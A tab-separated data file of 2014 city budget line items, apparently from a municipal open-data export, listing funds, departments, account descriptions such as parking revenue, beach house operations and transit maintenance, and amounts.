8255	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522920.0	VEHICLES - REPAIRS	810.0	 Supplies and Expenses	2014	1500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1500.0
8256	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2014	29779.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	29779.0
8257	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2014	115.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	115.0
8258	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	555210.0	TRAINING	808.0	 Supplies and Expenses	2014	450.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	450.0
8259	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	408590.0	SA COLLECTIVE BU COSTS	622.0	Other	2014	-312400.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-312400.0
8260	BA	IS	20	Miscellaneous Grants Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	402920.0	PROP A LOCAL RETURN	610.0	Intergovernmental	2014	-1151756.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-1151756.0
8261	BA	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	563160.0	WISE FTA GRANT	810.0	 Supplies and Expenses	2014	133810.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	133810.0
8262	BA	IS	44	SCAQMD AB 2766 Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	400750.0	INT DEP / INVESTMENT	616.0	Investment Income	2014	-4000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-4000.0
8263	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	404860.0	1630 5TH LOT 29 (5TH & COLORA)	608.0	Licenses and Permits	2014	-45000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-45000.0
8264	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	407710.0	MAIN LIBRARY PARKING STRUCTURE	608.0	Licenses and Permits	2014	-800000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-800000.0
8265	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	578311.0	FIRE REIMBURSEMENT	810.0	 Supplies and Expenses	2014	186000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	186000.0
8266	BA	IS	34	Stormwater Management Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	570070.0	TRANSFER-MEASURE V FUND	908.0	 Supplies and Expenses	2014	-915434.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-915434.0
8267	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522320.0	METERED POSTAGE	810.0	 Supplies and Expenses	2014	12600.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	12600.0
8268	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	511500.0	TEMPORARY EMPLOYEES		Salaries and Wages	2014	22397.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	22397.0
8269	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	511749.0	VISION	840.0	Salaries and Wages	2014	677.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	677.0
8270	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2014	57831.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	57831.0
8271	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	544199.0	OTHER MATERIALS AND SUPPLIES		 Supplies and Expenses	2014	250608.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	250608.0
8272	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	555018.0	OUTSIDE REPAIRS/SERV-BUS STOP		 Supplies and Expenses	2014	308.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	308.0
8273	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE	560070.0	INDUSTRIAL SAFETY SHOES		 Supplies and Expenses	2014	5535.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5535.0
8274	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562702.0	ONE-TIME GRANT SET-ASIDE		 Supplies and Expenses	2014	41870.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	41870.0
8275	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	408450.0	TMD ASSESSMENT	622.0	Other	2014	-18191.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-18191.0
8276	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	404710.0	415 PCH - DAY USE	612.0	Charges for Service	2014	-208040.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-208040.0
8277	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	404750.0	415 PCH - RENTALS	618.0	Rentals	2014	-500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-500.0
8278	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2014	121189.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	121189.0
8279	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2014	119166.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	119166.0
8280	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	522210.0	UTILITIES - TELEPHONE	810.0	 Supplies and Expenses	2014	7354.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7354.0
8281	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	544010.0	SPECIAL DEPARTMENT SUPPLIES	810.0	 Supplies and Expenses	2014	6100.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6100.0
8282	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	544200.0	SPORTS SUPPLIES	810.0	 Supplies and Expenses	2014	23000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	23000.0
8283	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	555210.0	TRAINING	810.0	 Supplies and Expenses	2014	2000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2000.0
8284	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	522210.0	UTILITIES - TELEPHONE	810.0	 Supplies and Expenses	2014	1025.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1025.0
8285	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	522825.0	FOOD PURCHASES	810.0	 Supplies and Expenses	2014	685.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	685.0
8286	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	533120.0	SPECIAL EQUIP MAINT	810.0	 Supplies and Expenses	2014	12000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	12000.0
8287	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	401830.0	VENDOR RENT	650.0	Charges for Service	2014	-238606.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-238606.0
8288	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2014	3687.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3687.0
8289	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT		DISABILITY INSURANCE	804.0	Salaries and Wages	2014	2590.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2590.0
8290	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	555210.0	TRAINING	804.0	 Supplies and Expenses	2014	12300.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	12300.0
8291	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511920.0	UNIFORM / TOOL ALLOWANCE	804.0	Salaries and Wages	2014	17550.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	17550.0
8292	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2014	4377.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4377.0
8293	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2014	1050.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1050.0
8294	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	408000.0	INTERFUND SERVICES-FIRE	612.0	Charges for Service	2014	-186000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-186000.0
8295	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	401381.0	DOG & CAT NEUTER DEPOSITS	612.0	Charges for Service	2014	-11930.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-11930.0
8296	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	522130.0	UTILITIES - WATER		 Supplies and Expenses	2014	98503.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	98503.0
8297	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	577940.0	REIMB FOR PARKING EXPEND		 Supplies and Expenses	2014	268773.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	268773.0
8298	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2014	49769.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	49769.0
8299	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	511748.0	DENTAL	804.0	Salaries and Wages	2014	5134.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5134.0
8300	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2014	-918.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-918.0
8301	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION		DCAP	804.0	Salaries and Wages	2014	324.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	324.0
8302	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	555210.0	TRAINING	804.0	 Supplies and Expenses	2014	2050.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2050.0
8303	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	404170.0	OTHER REVENUE - MISCELLANEOUS	622.0	Other	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8304	BA	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT		EMPLOYEE HEALTH CONTRIB-POA	806.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8305	BA	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	566870.0	HORSE PATROL	806.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8306	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE COMPLIANCE	569340.0	EMERGENCY ACCOMODATIONS	816.0	 Supplies and Expenses	2014	10000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10000.0
8307	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2014	405719.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	405719.0
8308	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND		EAP	804.0	Salaries and Wages	2014	409.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	409.0
8309	BA	IS	22	COPS Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	544390.0	OTHER COSTS	804.0	 Supplies and Expenses	2014	235473.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	235473.0
8310	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		UTIL-NATURAL GAS-CITY YAR	808.0	 Supplies and Expenses	2014	7797.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7797.0
8311	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	544110.0	PRINTED FORMS	816.0	 Supplies and Expenses	2014	3000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3000.0
8312	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	544010.0	SPEC DEPT SUPPLIES	808.0	 Supplies and Expenses	2014	92884.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	92884.0
8313	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	808.0	 Supplies and Expenses	2014	42830.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	42830.0
8314	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522115.0	UTIL - LIGHT/POWER - PSF	808.0	 Supplies and Expenses	2014	423221.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	423221.0
8315	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522119.0	UTIL-ELEC-COM FAC, SC, KEC	808.0	 Supplies and Expenses	2014	99023.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	99023.0
8316	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522139.0	UTIL-WATER-COM FAC, SC, KEC	808.0	 Supplies and Expenses	2014	58370.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	58370.0
8317	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400180.0	LOCAL PUBLIC SAFETY FUNDS	602.0	Property Taxes	2014	-1004250.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-1004250.0
8318	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	408360.0	SUCCESSOR AGENCY ADMIN	622.0	Other	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8319	BA	IS	4	Special Revenue Source Fund	130	FINANCE	221	ADMINISTRATION	406900.0	DIVCA REV FOR PEG FACILITIES	622.0	Other	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8320	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522910.0	VEHICLES - FUELS / LUBRICATION	810.0	 Supplies and Expenses	2014	1000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1000.0
8321	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	410140.0	TRANSPORTATION ENG SVCS	612.0	Charges for Service	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8322	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	410150.0	BIKE RACKS	612.0	Charges for Service	2014	-962.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-962.0
8323	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2014	1738.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1738.0
8324	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING		DCAP	808.0	Salaries and Wages	2014	72.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	72.0
8325	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522210.0	UTILITIES - TELEPHONE	808.0	 Supplies and Expenses	2014	50.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	50.0
8326	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	544040.0	BOOKS / PAMPHLETS	808.0	 Supplies and Expenses	2014	500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	500.0
8327	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		EAP	808.0	Salaries and Wages	2014	726.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	726.0
8328	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	577260.0	SENIOR HOUSING VOUCHER PRG	816.0	 Supplies and Expenses	2014	350000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	350000.0
8329	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	408360.0	SUCCESSOR AGENCY ADMIN	622.0	Other	2014	-772813.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-772813.0
8330	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	407180.0	VALET LICENSING FEES	608.0	Licenses and Permits	2014	-100000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-100000.0
8331	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	407800.0	CIVIC CENTER PARKING	608.0	Licenses and Permits	2014	-1000000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-1000000.0
8332	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	408240.0	PARKING STRUCTURE 10	608.0	Licenses and Permits	2014	-285600.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-285600.0
8333	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	804.0	 Supplies and Expenses	2014	1616.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1616.0
8334	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2014	282414.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	282414.0
8335	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2014	62685.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	62685.0
8336	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511744.0	MED TRUST - POLICE	804.0	Salaries and Wages	2014	1738.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1738.0
8337	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2014	53756.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	53756.0
8338	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2014	-13216.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-13216.0
8339	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511920.0	UNIFORM / TOOL ALLOWANCE	804.0	Salaries and Wages	2014	960.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	960.0
8340	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	555210.0	TRAINING	810.0	 Supplies and Expenses	2014	1100.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1100.0
8341	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	533213.0	FAC MAINT-PREVENTATIVE MAINT	810.0	 Supplies and Expenses	2014	100000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	100000.0
8342	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	551010.0	CAR WASHES		 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8343	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	577500.0	TRANSFERS FROM / TO FUND		 Supplies and Expenses	2014	103427.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	103427.0
8344	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	522180.0	BANK FEES	804.0	 Supplies and Expenses	2014	60000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	60000.0
8345	BA	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	533030.0	PROPERTY INSURANCE	816.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8346	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2014	3813.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3813.0
8347	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	409150.0	PASSPORT SERV PHOTOS	612.0	Charges for Service	2014	-6600.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-6600.0
8348	BA	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	561111.0	CHRYSALIS EMPLYMNT CTR-PROP A	808.0	 Supplies and Expenses	2014	10000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10000.0
8349	BA	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	561113.0	OPCC ACCESS CTR-PROP A	808.0	 Supplies and Expenses	2014	7400.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7400.0
8350	BA	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS		VENICE FAMILY CLINIC-PROP A	808.0	 Supplies and Expenses	2014	3986.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3986.0
8351	BA	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS		PROP A LR TRANS-ARTS	808.0	 Supplies and Expenses	2014	15000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	15000.0
8352	BA	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS		PROP A LR TRANS-SENIOR	808.0	 Supplies and Expenses	2014	3000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3000.0
8353	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS		EAP	810.0	Salaries and Wages	2014	100.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	100.0
8354	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	555010.0	CONTRACTUAL SERVICES	810.0	 Supplies and Expenses	2014	58952.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	58952.0
8355	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	533120.0	SPECIAL EQUIP MAINT	808.0	 Supplies and Expenses	2014	1000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1000.0
8356	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	533210.0	BLDG OPER / CUSTODIAL SUPPLIES	808.0	 Supplies and Expenses	2014	135000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	135000.0
8357	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	540590.0	EMPLOYEE RECOGNITION & APPRECI	808.0	 Supplies and Expenses	2014	330.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	330.0
8358	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2014	12128.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	12128.0
8359	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2014	-3840.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-3840.0
8360	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2014	-28455.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-28455.0
8361	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	533120.0	SPECIAL EQUIP MAINT	808.0	 Supplies and Expenses	2014	184375.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	184375.0
8362	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2014	11400.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	11400.0
8363	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2014	1391051.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1391051.0
8364	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2014	5214.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5214.0
8365	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2014	-2639.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-2639.0
8366	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2014	597.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	597.0
8367	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522160.0	TRANSFER STATION FEE	808.0	 Supplies and Expenses	2014	22000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	22000.0
8368	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2014	210844.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	210844.0
8369	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		UNEMPLOYMENT	808.0	Salaries and Wages	2014	5152.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5152.0
8370	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522950.0	CNG FUEL	808.0	 Supplies and Expenses	2014	17146.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	17146.0
8371	BA	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	402	ENGINEERING	544340.0	INDIRECT COST ALLOCATION	808.0	 Supplies and Expenses	2014	131349.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	131349.0
8372	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	407202.0	ROSIE'S GIRLS-MATERIALS FEES	622.0	Other	2014	-4900.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-4900.0
8373	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	533730.0	MOBILE DATA EQUIP & MAINT	806.0	 Supplies and Expenses	2014	69076.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	69076.0
